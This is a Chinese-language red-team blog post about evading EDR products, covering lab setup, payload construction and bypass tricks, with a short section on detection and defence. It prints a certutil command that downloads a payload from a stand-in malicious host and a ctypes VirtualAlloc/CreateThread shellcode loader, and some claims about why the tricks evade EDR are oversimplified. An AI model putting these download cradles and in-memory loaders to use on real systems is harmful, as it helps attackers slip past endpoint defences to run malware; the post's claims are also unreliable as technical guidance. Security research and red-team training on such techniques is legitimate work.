一、EDR绕过的起点:从一起突发的安全事件谈起

有一天,我关注到一起新闻事件,一家知名企业的安全系统被攻破,EDR(终端检测与响应)成了众矢之的。EDR作为终端保护的最后一道防线,在这场对抗中被攻击者轻松绕过,让我意识到EDR并非无懈可击。作为一名红队攻击者,这激发了我深究EDR绕过技术的兴趣。此文仅限于授权安全测试,供安全研究人员学习。

二、解密攻击者的思维:如何绕过EDR

黑客示意图

绕过EDR的核心在于理解其工作机制。EDR通常通过进程监控、行为分析、内存扫描等手段检测异常活动。简单来说,我需要做到“行为上看起来正常,但实际上干着坏事”。

在我的一次实战中,我发现EDR主要依赖的行为检测规则包括:

  1. 进程注入检测:防止恶意代码注入合法进程。
  2. 文件操作监控:特别是对敏感路径的访问。
  3. 网络流量分析:检测异常的网络行为。

我的目标是让我的操作看起来尽量正常,比如,通过合法的系统工具来实现我的目的。接下来的章节中,我将分享我在实战中使用的具体绕过方法。

三、环境搭建:准备你的“战场”

为了重现并研究EDR绕过技术,我搭建了一个包含受控环境和攻击环境的实验室:

攻击环境

  • 一台安装了 Kali Linux 的攻击者机器。
  • Python 3 和相关开发工具。

受控环境

  • 一台运行 Windows 10 的虚拟机。
  • 安装了常见的EDR产品(如Carbon Black、CrowdStrike)。

其他准备

  • 定制化 C2 控制台,用于模拟攻击指令的下发。
  • Wireshark,用于分析网络流量。

搭建这些环境的目的是在一个可控的环境中验证绕过技术,并记录下每个实验的细节。

四、Payload构造的艺术:从简单到复杂

黑客示意图

在我的实战经历中,最初的尝试往往是简单的恶意载荷,随着EDR技术的进步,我开始对恶意载荷进行复杂化处理。

简单的Payload

最初,我使用简单的Python脚本作为Payload,尝试在目标机器上执行命令。然而,这种直接调用命令的方式很容易被EDR拦截。

<pre><code class="language-python">import os

直接执行命令的简单Payload

os.system(&quot;whoami&quot;)</code></pre>

黑客示意图

复杂化处理

为了绕过EDR的检测,我开始对Payload进行加壳和混淆处理,让其在执行时不触发EDR的规则。

<pre><code class="language-python">import ctypes

使用Windows API调用来规避直接系统调用

ctypes.windll.kernel32.WinExec(b&quot;cmd.exe /c whoami&quot;, 0)</code></pre>

这种方法通过调用Windows API,略过了常见的EDR系统调用检查,效果显著。

五、EDR绕过的多样化技巧

除了Payload的复杂化处理,我还积累了一些有效的绕过EDR的技巧:

技巧一:知己知彼,避开检测

有一次,我发现在EDR的规则中,某些系统工具如“certutil”并不在严格监控之列。利用这些“合法”工具,我成功绕过了EDR。

<pre><code class="language-bash"># 使用certutil下载恶意载荷 certutil -urlcache -split -f http://malicious.com/payload.exe payload.exe</code></pre>

技巧二:伪装流量

在EDR的网络流量检测对抗中,我习惯使用流量混淆技术。例如,通过定制化的协议或加密通信伪装异常流量。

技巧三:内存执行

将恶意载荷直接加载到内存中执行,可以绕过磁盘监控规则。Python的“ctypes”模块对这一技术尤为有用。

<pre><code class="language-python">import ctypes

从内存中执行shellcode

shellcode = bytearray(b&quot;\x90\x90\x90...&quot;) # 省略具体shellcode ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ht = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>

六、检测与防御:成为“对手”的朋友

虽然我们作为攻击者要绕过EDR,但了解防御策略同样重要。在反复与EDR对抗的过程中,我也积累了一些有效的检测与防御技术。

检测策略

  1. 行为分析:基于行为的异常检测能有效发现规避常规检测的攻击。
  2. 内存扫描:定期扫描内存中的异常代码片段。

防御技术

  1. 严格的白名单策略:仅允许经过许可的程序执行。
  2. 网络隔离:对于关键系统,实施严格的网络隔离,限制外部访问。

七、经验分享:从攻击者角度看安全

在多年实战中,我深刻地体会到,攻防对抗永无止境。每次绕过EDR的一小步都是对自身技能的一次提高。保持好奇心是我不断探寻新技术的动力。分享与交流不仅是个人经验的总结,也能借鉴他人的智慧。从攻击者的视角出发,不断探索防御体系的薄弱点,是每一个红队成员的使命。

EDR绕过只是网络安全攻防中的一小部分,面对不断变化的技术环境,唯有持续学习,才能在这场无尽的攻防战中立于不败之地。